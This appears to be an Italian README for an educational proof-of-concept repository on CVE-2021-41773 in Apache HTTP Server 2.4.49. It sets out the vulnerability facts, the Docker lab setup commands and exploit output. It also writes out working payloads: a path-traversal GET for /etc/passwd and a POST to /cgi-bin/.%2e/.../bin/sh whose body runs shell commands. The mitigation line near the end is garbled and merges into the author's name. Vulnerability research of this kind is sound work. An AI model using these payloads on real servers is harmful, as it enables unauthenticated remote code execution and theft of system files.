
Un'analisi completa di CVE-2021-41773 (Apache HTTP Server 2.4.49), che comprende ricerca sulle vulnerabilità, sfruttamento controllato in ambiente di laboratorio, sviluppo di Proof-of-Concept, analisi delle cause profonde e strategie di mitigazione per scopi educativi e di sicurezza difensiva.
Progetto di ricerca educativo. Tutti i test sono stati eseguiti in un laboratorio Docker isolato. Non utilizzare contro sistemi che non possiedi.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2021-41773 |
| Software interessato | Solo Apache HTTP Server 2.4.49 |
| Tipo di vulnerabilità | Path Traversal → Remote Code Execution |
| Punteggio CVSS | 9.8 (Critico) |
| Divulgata | Ottobre 2021 |
| Corretta in | Apache 2.4.51 |
Apache 2.4.49 non riesce a normalizzare correttamente le sequenze di percorso codificate in URL (%2e%2e) prima di applicare le regole di controllo degli accessi. Ciò consente a un attaccante di uscire dalla root del web. Quando CGI è abilitato, puntando il traversal a /bin/sh e fornendo comandi shell tramite il body POST si ottiene un'Esecuzione Remota di Codice non autenticata.
cve-2021-41773-poc/
├── Dockerfile # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md # Step-by-step lab setup guide
├── README.md # This file
└── report.pdf # Full exploit development report
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
Vedi SETUP.md per istruzioni complete di configurazione e risoluzione dei problemi.
La libreria requests normalizza %2e → . prima dell'invio, il che rompe l'exploit (restituisce 400). Questa PoC utilizza raw sockets per inviare la richiesta HTTP byte per byte, preservando esattamente la sequenza di traversal codificata come Apache 2.4.49 deve riceverla.
Payload di traversal:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Payload RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache non riesce a decodificare %2e%2e prima dei controlli ACL, elabora la richiesta, la instrada attraverso CGI ed esegue il body POST come comando shell.
Require all granted su /Abdur Rehman Siddiqui
Sviluppo exploit — Task 3
Questo repository è solo per scopi educativi. L'autore non è responsabile di qualsiasi uso improprio di questo materiale.